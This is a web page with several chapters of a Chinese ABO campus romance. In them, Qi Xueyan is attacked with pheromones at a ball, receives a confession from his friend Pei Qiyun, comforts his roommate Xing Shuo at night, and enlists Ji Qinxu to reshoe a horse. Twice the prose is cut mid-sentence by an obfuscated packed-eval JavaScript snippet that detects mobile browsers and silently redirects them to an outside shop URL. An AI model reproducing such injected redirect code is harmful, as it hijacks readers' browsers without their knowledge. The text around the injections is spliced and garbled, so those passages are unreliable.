戚雪砚慢吞吞地放下了手和茶匙,坐正身体:“找我有事吗?” 眼前的人容貌优越,一身设计感强的镂空西装,面料昂贵精美——三年级生在新生舞会打扮成这样多少有些喧宾夺主,但碍于他的身份也不会有人说什么。 商院最出名的omega,新闻媒体行业大亨和外交官的独子,成绩优异,个性也张扬惯了的。 “没事就不能找你了?我可是追了你快整整两年。”看着青年疲倦却依然艳若桃李的脸,言清泉莫名气恼,音量不自觉提高,“你到现在还和我摆谱。” 戚雪砚心平气和:“我没有摆谱。” “那你为什么不笑?刚才对着裴起昀不是笑得很甜吗,就这么区别对待?” “他是我朋友。我以前问过你要不要和我做朋友,你拒绝了。”戚雪砚勾了下鬓边的碎发,唇角认真地弯起,“不好意思,我今晚有点累,下次会注意的。” 对一个曾经爱慕过自己的omega保持尽可能的礼貌,理所应当。 “……” 言清泉的胸口明显起伏了两下,片刻后,齿间硬生生挤出一句话:“你欠我一次开场舞,不如今天还给我。” 戚雪砚沉默了一会儿,缓慢而轻声地问:“我都这样了你还想和我跳舞?” 他知道言清泉一向功利,当初追求自己也是经过多方权衡得出的决定,正常情况断断不会搭理一个低等级的alpha。 言清泉伸出手:“就当是圆一个曾经的遗憾。” 视线从对方冷淡高傲的脸移向眼前的手,戚雪砚眸底泛起些许波澜——他没有喜欢过言清泉,以前也总是果断拒绝对方的追求,可现在的心境不同于往昔,他确实因这个邀请生出了几分安慰。 他牵着omega走下了舞池。 四周飘来不少注视,新生经过这么久论坛的洗礼,对他二人也有过不少了解,很难不八卦一下。 “我靠,什么情况。” 混迹在舞池里的柏荣瞅见了,想找闻瑾羿,目光搜索了一圈没见到人,倒发现一个同级alpha靠在舞池边的柱子上,神情古怪地盯着戚学长的方向。 柏荣多看了两眼,留了个心眼。 舞池里,言清泉继续质问。 “你为什么要阻止我招揽平民alpha?” “我有这么厉害么。”戚雪砚语气温和,手抬高,让人在指尖下转了个圈。 “尹航那个馊主意不是你出的?好,就当你是为了裴起昀。但那三个S级最后都去了你的马术社,你别以为我不知道。” 戚雪砚叹了一口气,无奈劝道:“他们不是你能驱使的人。” “为什么不能。”言清泉冷哼,“人都拒绝不了捷径带来的诱惑,S级alpha也一样。我能给他们提供这个捷径,谁还愿意去军营吃苦受累?” “会有不一样的。”他说。 会有拥有坚定的理想、不同寻常的能力和心性的人,和那些凡夫俗子、和他这样的炮灰不同,生来就是世界的主角。 言清泉停下了脚步。 再次开口,语气骤然阴沉:“因为你么。” 戚雪砚随着他站定步伐,疑惑皱起了眉。 “看那些alpha都拜倒在你脚下,很得意是不是?”言清泉盯着眼前爱慕已久的人,眸中的愤恨再也不加掩饰。 这人病休数个月,信息素从云端跌落至最底层。暗恋过他的omega们都扼腕叹息,可论坛里的alpha有一个算一个,都兴奋得无以复加! 包括他那三个室友。 狗屁朋友。 换做以前他们敢肆无忌惮地和他亲近?敢随便搂他的腰,捏他的脸,对他动手动脚?不就是暗爽他变弱了可以随意拿捏? 恶心!龌龊! “整天对着你那几个室友讨好献媚,你还算什么alpha?” 戚雪砚沉默着,眸色轻微凝滞。 “你知道烂掉的白月光有多可恨吗?”言清泉胸膛起伏,咬着牙恶狠狠道,“你还不如就直接死掉。” 当然,在此之前。 他还要他当众出一次丑,报他当年宁可选择裴起昀那个alpha当舞伴也不愿意和自己跳舞的仇。 …… 言清泉往某个方向使了个眼色。 他要戚雪砚众目睽睽之下倒进自己怀里。 13.突然表白 没有竞技场设备的防护,攻击性强烈的信息素刺向后颈,戚雪砚脊背瞬间冒出了一层冷汗。 舞池里人群密度高,防御又不像攻击可以精准控制对象,他根本无法大面积释放信息素形成保护。 整个人就犹如被扔进了烈焰火炉,从皮肤到骨骼肌肉都被炙烤着,腺体像快要融化了。 戚雪砚身形微微摇晃,单薄的胸膛剧烈起伏,面颊灼红滚烫——就算有舞池的音乐作为掩护,这异常还是吸引了周围不少注视。 “别硬撑了。”言清泉盯着眼前的人,一手扯着他腰间的衣衫,欣赏着自己赐予他的痛苦模样,“我知道你现在只有B级。” 他靠近到戚雪砚的耳鬓,轻轻嗅闻逸散的信息素——很浅淡,早就不像以前那样对omega有致命的吸引力,但好像…… 还是好闻得要命。 语气不自觉缓和了几分,“放心,我不会把你一个人扔在这里,我力气不如你的那些alpha室友,抱你出去还是轻轻松松。” 戚雪砚的视线已经有些模糊了,头顶的水晶灯晃得他很晕,豆大的汗珠从额头滚落,嗓音也含混起来: “……你不明白。” 他的室友和别人不一样。 他们在他落魄的时候没有鄙夷轻视他,在那次变故之后对他亲近依旧,说是他的救命稻草也不为过。 耳畔的鼓膜咚咚震动,戚雪砚要很努力才能分辨出舞曲的音乐。 “我怎么不明白?”言清泉语速变快,情绪刹不住车地往外涌,“他们能给你的我也能给,他们不能给的我也能——” “但我没什么能给你的。”后半句被戚雪砚轻轻打断,他侧眸,垂落的睫毛尖挂着自嘲,“你要我有什么用?” ——你可以和我订婚,我给你一个和以前同样尊贵的身份。 脑中浮现的念头把自己都吓了一跳,言清泉猛地移开了目光。 他是穹庭最优秀的omega,怎么可能和一个家世背景劣迹斑斑的低等alpha结合?他必须要拥有最强的alpha。 “……谢谢你请我跳舞。” 片刻之后,戚雪砚再度开口,嗓音镇定下来,“但我不希望再听到你诋毁他们。” 舞曲趋近尾声。 青年轻轻阖上眼眸,玫瑰味的信息素如同一柄破开风雪的利剑,裹挟着细碎冰霜向舞池边缘席卷—— 似曾相识的锋利气息从言清泉耳畔刮过,他一愣,下意识回头望了过去。 砰。 立柱后的alpha重重倒在了地上,露出背后的脚刚抬了一半的橙发少女。 还有一同赶来的面色冷沉的学生会长大人。 下一瞬,灯光熄灭。 蓝色荧光的花瓣作为意外的惊喜,从上方飘扬落下,像星星点点的萤火虫,舞池里响起此起彼伏的欢呼,所有人的注意都被吸走了,无暇关注这片区域的骚乱。 言清泉在黑灯前的最后一瞬看见戚雪砚波光潋滟的眸,正平静注视着自己,眼底闪过一丝极难捕捉的难过,是他追了这人两年都不曾见过的情绪起伏。 他的话还是刺伤了他。 心脏猛烈跳动。 然后就听到了一个让他深恶痛绝、几欲作呕的嗓音。 “小雪?你还好吗。”裴起昀穿过人群,焦急地在黑暗中抓住戚雪砚的手腕,摸到了一手冰凉黏腻的皮肤。 “还行。”戚雪砚勉强回答。 裴起昀不由分说将他打横抱了起来,“我们走。” “让开!都给我让开!”言清泉气得也拨开人群追出去。 “戚雪砚!你以为他真的心疼你吗?他巴不得你永远像现在这么弱,只能依附着他!你让他拍着胸脯自己说,是喜欢你以前还是现在!” 远离了舞池,言清泉再无顾忌,扯着嗓子对那快步远去的身影大吼。 “住口啊!”闻瑾羿冲了过来,嚷嚷得比他还大声,还试图跳起来遮挡视线,“别以为你是个omega我就不敢揍你啊!喜欢他还想让他当众出丑,你以为自己就很伟大吗?” 言清泉怒瞪:“你揍一个试试?” “你以为我怕你啊?” “你来!有本事就来!不知天高地厚的平民alpha!” “我……!” 两人的身影消失在了走廊转角,闻瑾羿慢吞吞地放下了拳头:“算了。我觉得你说的不全错,放你一马吧。” 言清泉脸上的愤怒变成了诧异:“……哈?” 柏荣慢了一步追过来,对二人露出和事佬的笑容,左边鞠躬右边拍肩,“消消气,消消气。言学长消消气,你也消消气。” 言清泉上下打量了一番橙发少女,“你……就是他那个亲妹妹?” 现在轮到闻瑾羿惊讶了:“这你都知道?” “呵。” Omega露出了轻蔑的冷笑,听到alpha笑嘻嘻的后半句——“那你真是我哥的狂热粉丝啊!” “……” “还是辱追的那种。” “……” 言清泉的表情裂开了。 “咳咳。”生怕二人再吵起来,柏荣赶紧出声打断,“言学长,言学长,我说一件事啊。” “说!”言清泉没好气。 “其实吧,戚学长进舞池前就发现你安排的那家伙了,我全程在观察,他看了那个方向好几眼——你说你喜欢他那么久了,怎么能这么小看一个曾经是S级alpha的警惕心呢。” 这话让言清泉怔住了,沉默了许久,好半天才磕磕巴巴地反问,“那,那他为什么还愿意和我跳舞?” “没准他就是想和你跳呢?柏荣耸了耸肩,揣着手,“再说了,都牵着你走到那了,半途离开多不礼貌啊。” 言清泉只听了前半句,脸颊明显一红。 闻瑾羿则摇头晃脑道:“可能就是觉得欠你的。” 她亲爱的哥哥总觉得自己欠了很多人很多东西。 ……好像除了一个例外。 口袋里的电话震了震,闻瑾羿快步走远,接了起来。 …… 裴起昀把戚雪砚抱到了学生会的专属休息室。 人紧张的时候小动作就会变得很多,戚雪砚躺在沙发上,视线迷蒙地看着alpha在偌大的室内走来走去,又是给校医务室打电话,又是翻箱倒柜找急救抑制剂和阻隔贴,不慎打翻了整个抽屉—— “起昀。”他轻轻唤了一声。 制服笔挺的alpha像被按了暂停键,戛然而止。 “别找了……普通的药剂对我没用,你晃得我头好晕……拿个冰袋给我敷一敷吧,我休息一会儿就好了。” 裴起昀又恢复了行动能力,找到冰袋用毛巾包裹住,走过来在沙发边上半蹲下,贴上青年的后颈。 戚雪砚侧过身面对他,伸手摸了摸alpha冷峻紧绷的脸,嗓音很轻,很缓慢,“干什么呀?表情这么凶……我难道会因为别人几句话就讨厌你么。你怎么对我我心里有数。” 裴起昀的眉心放松了些许,又紧了紧牙关:“我一定要让他付出代价。” “没必要的,反正没造成什么影响——言家政商结合,别给你父亲添麻烦了。马上还要选举学院代表呢,我们会长大人的口碑可比他好得多,不能功亏一篑。” “……我咽不下这口气。” 戚雪砚用上了两只手,倾身向前环住对方的脖颈,“那就当是看在我的面子上,行不行?” 裴起昀别开脸不说话。 他又晃了晃。 裴起昀缓慢移回了视线,望向眼前青年——粉棕色的发丝黏在雪白细腻的脸颊上,桃花眼湿润迷蒙,就连汗水都沁着若有似无的玫瑰香气。 “小雪。”他忽然开口,“我第一次见你,只有11岁。” 戚雪砚眨眼:“我知道啊。” “你穿着印有玫瑰花的裙子,坐在秋千上看书,漂亮得像个小公主。我当时真以为你是omega。” “……你这是偏见。” Alpha长得好看点怎么了。小时候有人告诉他,这和信息素一样是与生俱来的才能,教导他要好好珍惜——然后顺理成章地给他穿裙子扎小辫儿。 思绪不由自主飘向了过去,戚雪砚眸光暗了暗。 好在裴起昀的声音很快唤回了他的注意。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885783|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有,我很喜欢。”alpha定定地望着他,“从那天起我就想好了,长大以后要娶你。” 休息室因为这一句话安静了下来。 就连呼吸声都变得迟缓。 戚雪砚僵硬地松开了手腕,想要后撤,却被裴起昀抓住,递到唇边亲吻。 “我以为你会知道的,我一直都喜欢你,不是朋友之间的那种喜欢,是……alpha对配偶的喜欢。” 对方的眸光太滚烫,戚雪砚本就不清晰的思绪更混沌,口中喃喃道:“可我们都是alpha……” 联邦的法律没有alpha与alpha结婚这一项,裴起昀这个大法官的儿子比谁都更清楚。 “没关系,我可以终身不结婚,这不重要。”将这个话题带过,裴起昀眸光一沉,语气也变得严肃,“言清泉比你早发现这件事,所以他才会刻意针对我,挑拨我们的关系——我是他的情敌,你明白了吗?” 什么…… 情敌啊。 涣散的瞳仁聚焦,戚雪砚望着室友的脸欲言又止,脑子一团浆糊,最后在沙发上翻了个身背了过去。 “小雪?”裴起昀的声音追了过来。 “……你,你让我冷静一下。”他揪掉自己的辫子,头发散下来遮住眼睛,“我累了,我需要休息,你快去忙吧。” 耳畔传来一声低笑。 “好。” 裴起昀将自己的校服外套仔细盖在了他的身上,“你好好休息,我等会来接你。” …… 腺体和全身都持续发着热,戚雪砚迷迷糊糊地好像又做起了梦。 这一次由浅及深。 他先是听见了对话的声音,依旧是少女清脆悦耳的嗓音: “这药会不会有副作用啊?” “不会。”另一人答。 “真的吗?要不谨慎一点吧,我哥现在太虚弱了,我怕他吃不消。” “我试了。” “拿什么试……哦哦,懂了,我去倒水。” 然后他感觉到自己被扶了起来,靠在一个宽阔结实的肩膀上,微凉的指腹熟练分开他的唇瓣,将药片抵进他齿间。 戚雪砚丝毫没有排斥,顺从地张开嘴,舌尖还在那指腹上轻轻舔了舔。像在和许久不见的好朋友打招呼。 对方的手指果然多停顿了一拍。 他又舔了一下。继续挽留。 还是撤走了。 换成了清凉的饮用水。咕咚。药片滑进喉咙。 来人没将他放下,绝不陌生的霜冷气息环绕住了他,腺体迅速降温,身体完全放松下来,愈发努力想贴近对方。 盖在肩上的衣服滑落,被少女捡起来。 “啧,你刚听到了吧?那家伙和我哥表白了。” “……” “你说他是真心的呢,还是借机开脱呢?” “……” “我觉得有诈。” “……” 少女的嗓音一直在嘀嘀咕咕,像小蜜蜂飞来飞去。戚雪砚临失去意识之前,才听到耳畔极其冰冷生硬地回了一句: “不关我的事。” 他轻轻抿了下嘴唇。 梦里,这道嗓音依然存在,比现实中更清晰。 “救他。” “救他也不一定要用做这种手术,我可以保住他的腺体,只不过很难再恢复到原来的水平了。”稍显成熟的女声回答。 “那用我的腺体。” “你别开玩笑啊,我不同意。” 沉默。 “会死的!” “死不了。” “……” 那女声叹了口气,无奈极了,“至少问问他的意思吧?万一他不想要呢?这种事你总不能一意孤行吧。” 于是有人在耳边问他。 戚雪砚,你想回到S级吗? 还是安安稳稳做一辈子的B级alpha,也行。 他说。 我想。 我不愿意。 我后悔让自己变成这样了。 求你救救我吧。 …… 我可以付给你我所剩无几的一切。 14.深夜爬床 戚雪砚一觉醒来神清气爽,头也不昏了,腺体也不热了,身体轻松,信息素相当稳定。 太爽了吧。 他不敢置信地跳下沙发,原地蹦了两下,把之前的混乱和糊里糊涂记不太清的梦全都抛之脑后了。 “我来看看我哥有什么问题?你讲不讲理啊?” 门外传来争执声。 “这个门锁有密码,你怎么进来的。” “要你管。我自有门路。你把我哥一个人关里面,有急事没人能进去救他怎么办?你问题很大!” 裴起昀盯着眼前气焰嚣张的橙发少女,半晌,冷冷扯了下唇角,压低嗓音问:“戚雪砚是你哥,还是闻慕知是你哥?” 闻瑾羿的脸色一变,狼似地龇了龇牙:“他现在叫裘慕知了,和我没关系。” 裴起昀刚要继续,身后休息室的门打开了。 “吵什么吵。” 戚雪砚半靠在红木雕花的门上,随手抓着脑后散乱的头发,嘴里叼着皮筋含含糊糊,“给别人听到了,你俩我一起揍。” 唔。状态好说话都硬气些。 裴起昀闭上了嘴,去望青年的眼眸,被避开了视线。 随后眉心微微一皱—— 自己离开只不过一两个小时,他的气色怎么变化这么明显? 身上还残存了另一人的信息素气息,不像这个橙毛的,隐约在哪儿见过…… 闻瑾羿噔噔噔过去告状:“戚学长,我来给你送药,这傻屌拦着我不让进。” “……”戚雪砚忍了又忍,没忍住,取下皮筋拿在手里,“别说脏话,太难听了。” “哦哦。”闻瑾羿星星眼道,“那我能帮你扎头发吗?” 戚雪砚没拒绝,若无其事地对裴起昀道了句,“忙完了你就先回去吧,我晚点再回宿舍。”返身进了休息室。 闻瑾羿得意洋洋地冲旁边做了个鬼脸,一蹦一跳地跟了进去。 知道哥哥不喜欢自己多嘴他的人际关系,闻瑾羿就没发表对裴起昀的看法,专心致志地坐在沙发扶手上摆弄他的头发。 那两盒药递到了戚雪砚的手里,他翻看了一会儿,问: “你刚才进来喂我吃药了?” “对呀。”老大也来了——哥哥肯定猜得到,没必要强调。 难怪。 戚雪砚心中泛起些许柔软,想起女生刚才在外面的话,回眸道了声谢。 “和我客气啥,我们是亲兄妹呀!”闻瑾羿笑,凑过来想用脸和他贴贴。 他有点不习惯,侧头避了避,转移话题:“这药是哪来的?” 她问纪钦栩要的么?用的什么理由。 ……纪钦栩知不知道是给自己的啊。 老大给的——这个毋庸置疑,不必多提。 闻瑾羿小小失望了下没蹭到哥哥脸,重新直起身,“你知道田韶光教授吗?药是他研发的——” 话说到一半,她发现戚雪砚瞪大了那双漂亮的桃花眼,嘴巴微微张圆,一脸震惊地望向自己。 “怎么了?”闻瑾羿不解。 “你……你怎么能告诉我这种事?”戚雪砚惊讶得嗓音都变了。 小姑娘嘴叭叭的说什么呢,这算得上他们组织的机密了,怎么能随便告诉……告诉他这个炮灰? 更何况他的室友还是邢铄他们。 天呐。 万一他以知道的太多为由被主角做掉怎么办? 饶了他吧。他就一声不吭乖乖吃药行不行? 闻瑾羿挠头,又纳闷又好笑:“告诉你有什么关系啊,难道你还能去检举揭发——” “我不听我不听。”戚雪砚双手捂住耳朵,跺脚。 闻瑾乐弯了腰。 她以前一直觉得自家哥哥是那种脖子上系蝴蝶结的高贵漂亮小猫,受某人影响,最近越看越像兔子了。 被这样一萌什么都忘记了,闻瑾羿兴致勃勃地蹲下来,勾着脑袋从下面瞧哥哥。 戚雪砚掩耳盗铃半天,发现妹妹露着小虎牙在嘲笑自己,觉得被戏弄了,实在气恼。 就屈起食指那颗橙色脑袋上轻弹了一下——立马被少女扑过来摁在沙发上,如愿以偿地蹭到了脸颊。 . 在休息室睡了一觉,晚上就有些难以入眠。 戚雪砚把枕头边上的小马玩偶拽进怀里,想起言清泉那些尖锐刺耳的话,又想起裴起昀的告白…… 是告白吧。 他翻了个身,脸埋进小马肚子。 从小到大他收到的告白不少,一向都觉得稀松平常,但现在不一样了,他知道自己是配不上裴起昀的——越是上层阶级越讲究门当户对,抛开这一条,信息素的匹配也是迈不过去的坎。 裴起昀这个alpha和自己在一起,易感期要怎么度过?他们之间肯定会互相排斥。 或许对方就是意识到了这点,才一直没有告诉他,也没有对他提出要求吧。他们还是做朋友更合适。 不过S级alpha本身易感期就少,一年也就一两次,凭借训练后的自控能力通常也能冷静应对。 手指紧了紧小马玩偶的鬃毛,他眼底滑过几分晦暗。 ……如果答应了,是不是就可以把裴起昀绑在身边? 戚雪砚重重翻了个身。 不,不能这么想。这太坏了。 朋友也好暗恋也罢,都是一片真心,他不能辜负。 他缓慢阖上眼眸,问自己,开心吗? 开心的。 远比以前收到表白要开心,有了这份感情,他可以尽力不去在意言清泉那些话带来的刺痛——旁人眼里的讨好献媚又怎么样,能留住他们,他愿意。 但他清楚这大概不是喜欢。 那么什么才是喜欢…… 眼皮渐渐沉重起来,戚雪砚困意上涌。就快要进入梦乡,听到房门被人打开,和一阵窸窸窣窣的动静。 他刚想发脾气,一道沉重粗粝的、压抑不住情绪的呼吸声贴近到了耳边,动作也格外的急切不安。 邢铄? 他强忍住怒火,把小马端端正正放在一旁摆好,搂住钻进怀里的人。 Alpha喘得很厉害,胸膛起伏着,像生锈了运转不畅的机器。 “怎么了?”戚雪砚反应过来,手摸向床头想开灯,“你受伤了?” “……没有。” 邢铄嗓音很沙哑,抓住他的手腕,用力摁在自己的脸上,“别乱动……你摸摸我,快点。” 要哭鼻子了。 戚雪砚听了出来,不点破,轻柔而熟练地帮对方按摩脑部穴位。 邢铄的手臂勒得他很紧,腰都快要断掉,鼻梁用力顶在他胸口,他也没说什么,直到怀里的人稍稍平复了下来。 “和我说说吗?”他捏向对方的后颈。 沉默了很久很久,邢铄方才开口,嗓音依旧低涩嘶哑,发泄着一腔怨气: “我恨他们,到底为什么要生下我,我宁可没有父母。” 戚雪砚猜到了是为这个。 邢铄的父母确实称得上冷漠,常年忙于工作不说,在邢铄有能力帮助他们之后,更是毫无顾忌地把压力倾泻到了他身上——完不成任务就会严厉谴责,甚至希望邢铄直接退学去安全部工作。这无疑加深了邢铄对于主角的执念。 宁可从来都没有吗? 戚雪砚的手指尖顿了顿。 他也这么想过。 没有也总好过一切都是虚假的,偷来的。 飞快匿去自己的情绪,他心中对邢铄的同情愈发泛滥。 “太过分了,自己都做不到事情凭什么要求你做到?”拍着对方宽阔结实的脊背,戚雪砚温柔地夸他,“我们小铄已经很厉害了。” 邢铄的呼吸又更重了些,蒸腾的热意快要浸透他的睡衣。 “想哭就哭,我不会笑话你的。”他的嗓音近似呢喃。 这次邢铄沉默得更久了,唰地撑着胳膊从床上支起身,居高临下地俯视戚雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891968|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚。 卧室里没有灯,窗帘也拉着,不过不算特别遮光。Alpha可以凭着优越的夜视能力勉强描摹青年的轮廓——他的脸柔软而美丽,半长的发丝散落在枕头上,眸光像世间最轻柔的一泓水,足以包容自己的一切。 如果他是他生出来的就好了。 邢铄陡然冒出了一个念头。 那一定不会有丝毫的痛苦,还可以顺理成章完全占有他,哪怕一口一口将他吃掉,喂饱饥肠辘辘的胃。 或者他吃自己也行,想挖眼球就挖,内脏也挖出来给他吃,直到融进创造出自己的这具身体。 想着,邢铄渐渐俯身。 并非信息素,来自这人皮肉骨骼内的香气幽幽弥散上呼吸,像某种致幻上瘾的毒药,他喉结狠狠一滚。 “小铄?”戚雪砚疑惑地望向突然起身的人,沉吟了一会儿,感觉到了什么,“……你易感期到了?” “……”沉默。寂静。 “没有。” 邢铄压着嗓音回答,接着气势汹汹地扑了回来,“别管了,睡觉。” 确实很困。熬夜违反了戚雪砚良好的生物作息,明天还有考试呢。 他唔了声,没管了。 …… 次日早晨。 戚雪砚再次被窸窸窣窣的动静闹醒,原本埋在胸口的人动着鼻子一路向下猛嗅,要往小腹埋。 ——他一掌把邢铄扇到了床底下。 “……” 然后才发现对方的帅脸上青紫交加,再一问,胳膊脱臼了,腿部骨裂,肋骨还断了好几根。 以S级alpha的身体素质,这绝对是被下狠手揍了。 戚雪砚内疚地捂住了嘴巴。 贺靖风拍手称快,还想趁火打劫再补两记——也多亏邢铄惨成了这样,否则早上看到他从戚雪砚房间出来,贺靖风绝对是不会放过的。 “那家伙也没讨到好果子吃!” 邢铄恶狠狠地宣告,面上涌现狠戾。 纪钦栩受伤了? 手微微一抖,热牛奶洒出来两滴在手背上,很烫,戚雪砚赶紧低头吮吸掉。 裴起昀看见了,走过来一言不发地接他手里的奶锅——身形从他背后贴近,指腹在他腕间轻轻擦过。 以前这样的动作压根不算什么,现在多少有点古怪。 戚雪砚回眸轻轻瞪了对方一眼。 Alpha无辜地对他耸了耸肩。 算了算了,这么多年的朋友,习惯就这样了。 他没再多想,去洗手台冲凉水。 贺靖风恰好瞧见了这一幕,剑眉一皱,压低嗓音质问裴起昀:“怎么感觉你俩之间怪怪的?你不会和那臭小子一样不守规矩吧,靠,过几天我一定揍他一顿!” 贺靖风守的规矩是义气,他讲究公平竞争,也希望避免不必要的麻烦。 “说你蠢,你是真不聪明。”裴起昀垂眸,转动锅里的热牛奶,“一天到晚就知道盯着我们,没想过会有其他对手?” “你说言清泉?我没兴趣和omega斗。” 这话很怪,毕竟戚雪砚是个alpha,但贺靖风自己也没想好要和对方成为怎样的关系。 只知道他一定得是他的。 “你那个堂弟最近很安分。”裴起昀说。 不解对方为何突然转变话题,贺靖风古怪地看了他一眼。 裴起昀:“听说给人教训了。” “哦,小雪上次教训的。”红发alpha靠在流理台上,面上泛起几分家里的狗被对象管教的得意,“那小子欠得很,是该管管。” “你觉得小雪是那种多管闲事的人吗?”裴起昀又看了他一眼,意有所指道。 …… 另一边。 戚雪砚食指揪着小辫子绕了绕,又绕了绕,咬紧了下唇。 哎。 ……纪钦栩到底伤得怎么样啊 ? 好好奇。 好想看热闹啊。 15.扒衣服了 学校的马场不算太正规,也有经费拨款,用来定期请人维护场地、给小马洗澡、体检等等。 但蒋勇因为龟毛赶跑过好几个工作人员,还将大部分琐事都一力包揽了。戚雪砚每天提着小篮子,也就是去给Joy加个餐,陪它玩一玩儿。 这天的射击考试结束,他去马场前收到了蒋勇的消息。象征性地犹豫了一下,脚步一转走去了教学楼。 一年级正进行对抗训练的大课。 地点在一个类似体育场的大型演练教室,场地分为三块,学生们按照排名分三组坐在场边,被随机抽取上台进行对抗。 作为真刀真枪可以使用信息素对抗的课程,参战观战的alpha热血沸腾,也不乏其他院和年级过来围观的。 戚雪砚熟门熟路地从后门进来,好巧不巧,一个无论穿着打扮还是姿态都高傲得像雄孔雀的人站在座位后方,望着演练场摇头叹息,语气十分伤感: “都不如他。” “那个叫纪钦栩的挺厉害。”旁边人道。 “太装了,看着就不爽。”言清泉嗤之以鼻,烦躁地摆摆手,“走了走了。” 回头,猝不及防和他打了个照面。 沉默。 持续的沉默。 “都不如谁啊?”戚雪砚笑着问。 “我死掉的白月光!行了吧?”言清泉咬牙切齿地瞪他,雄孔雀变成了大公鸡。 他没再说什么,退后半步,侧身,给对方让出离开的道路。 “……”言清泉的脚步顿了又顿,嘴巴张开又闭紧,气冲冲地出去了。 戚雪砚这才将视线投向场地中央。 对抗训练课他当然上过,一学期三十节,要求至少10次上场记录。对他曾经而言并非难事,哪怕抽到自己的室友们也能轻松取胜。 他喜欢先发制人,讲究速战速决,从不刻意拖延时间羞辱对手或者玩阴人的招数。 按理来说纪钦栩的风格和他相近,但这人对正儿八经动手兴致缺缺,大多都是简单粗暴的信息素碾压,很可能对手已经趴在地上了他手还没从口袋里拿出来。 不怪人家说他装。 ……好像没看见哪里有伤啊。 戚雪砚踮了踮脚,冷不丁和场上的人遥遥对上了目光,一怔。 这人身上有监测雷达么。 纪钦栩很快收回视线,把对手踹下台,系统判定胜利,抬脚走回了场边。 “到我了到我了!” 闻瑾羿摩拳擦掌站起来,头一扭看到一个清瘦颀长的身影向这边拾级而下。 粉色t恤,水洗蓝牛仔裤,左边细白的腕间挎着个小篮子,里面冒出几根新鲜的橙色胡萝卜,侧扎的小揪揪随着下台阶轻轻摇晃,雪花发卡折射出细碎的阳光。 所到之处座位上的一年级生纷纷抬头瞻仰,视线追随。 啧。她哥知不知道自己走个路都比别人好看啊。 “怎么还不上?”戚雪砚走到近前,瞥了她一眼。 闻瑾羿两手扯着衣角故作扭捏:“戚学长,那个那个…你在下面看我会紧张的。” “我不看你。”戚雪砚在她空出的位置上坐下,手搭上椅背,侧身面向旁边的男生,“纪学弟。我是来找你的。” 闻瑾羿:“……”喂。 橙发少女一步三回头地上台去了。 戚雪砚余光扫了眼她的对手,判定没什么大问题,视线重新落回近处。 纪钦栩今天依旧穿的校服衬衫,长袖卷起,露出半截肌肉线条分明的小臂,没系领带,松散的领口下还有件黑色背心。 ……也看不清身上的情况。 他注意到对方颊侧有一道新鲜的血痕,不像击打伤,也不像锐器,像被碎片炸出来的。 场面很激烈啊。戚雪砚琢磨。 纪钦栩似终于忍不了他的注视,熄屏手机,面无表情地偏头看向他。 戚雪砚笑了一下,打开自己的手机,翻到聊天页面举到对方面前,“学弟这是什么意思呀?” 坐在后边的柏荣跟着凑过来瞧。 那天他打过去电话一连串卖惨问话,纪钦栩回了,回了个手绘表情包——哭哭的兔子,拽着长耳朵擦眼泪,实则睁一只眼闭一只眼在偷看。 柏荣兴致勃勃地点评:“像假哭。” 戚雪砚微笑:“纪学弟,你是在说我假吗?” 柏荣闭上了嘴巴。 纪钦栩盯着他,一侧的眉梢微抬,不置可否。 哼。 “学长不和你计较。”戚雪砚收起了手机,“今天来是想请你帮个忙。” “伊森——就是你上次摸的那匹淘气的黑马,需要换新蹄铁了,以前给他修马蹄换蹄铁的师傅休假了,其他人都搞不定他,社长刚才还差点挨了踹。” 他顿了顿,“我觉得纪学弟可以胜任这项工作,你说呢?” 柏荣惊讶,问纪钦栩:“栩哥,你会修马蹄?” 黑发紫眸的男生不答,垂眼注视着身边的青年。 戚雪砚站着说话不腰疼:“不会可以学,很简单的,我相信纪学弟。” 这可是主角啊,万能的主角有什么搞不定的,再不济,他起码经踹吧。 “……”柏荣欲言又止地瞧了瞧眼睫弯弯的青年,硬是从那张天使般的面孔后看出了丝蔫坏。 多新鲜呐。 纪钦栩这种瞩目程度,又没什么背景,想刁难他的家伙多了去的。哪次不是动动手指就干得对面人仰马翻,多数时候人衣角还没挨上就屁滚尿流地滚蛋了。 但眼下这位么…… 柏荣乐呵呵地趴在椅背上看热闹。 戚雪砚眨了眨眼睛,还等不到回答,露出些许失望的表情:“你不愿意吗?真的不愿意吗?” 不愿意就算了。 反正他也没有觉得主角一定会答应。反正他只是想找借口为难一下主角而已。反正他被拒绝也不会难过的! 男生像是欣赏够了他的表演,胳膊也放松搭在了椅背上,问:“给我什么报酬。” 哎。戚雪砚又笑了,“都是一个社团的,说什么报酬不报酬的,好生疏呀。” “……” “那要不然,奖励学弟学成之后,帮我把Joy的蹄铁一起换了?” “……” 纪钦栩的唇角明显动了动。 “哇,你笑了?”戚雪砚双手合十,欣慰道,“那就是同意了,我们走吧。” “……” 柏荣憋得肚子都痛了,脑袋埋在椅背后面,肩膀疯狂耸动。 戚雪砚伸出手指,扯了扯纪钦栩小臂处折叠的衬衫袖口,软下嗓音,“走嘛走嘛。” 他一会儿干的事最好不要让闻瑾羿看到,得抓紧时间。 紫灰色的眼眸深深盯了他一眼,纪钦栩没再说话,从位置上站起身。 “对了,等一下。” 戚雪砚低头,从旁边的篮子里取出消毒棉签和创可贴,“学弟脸上的伤还是处理一下吧,等会儿的脏东西飞进伤口就不好了。” 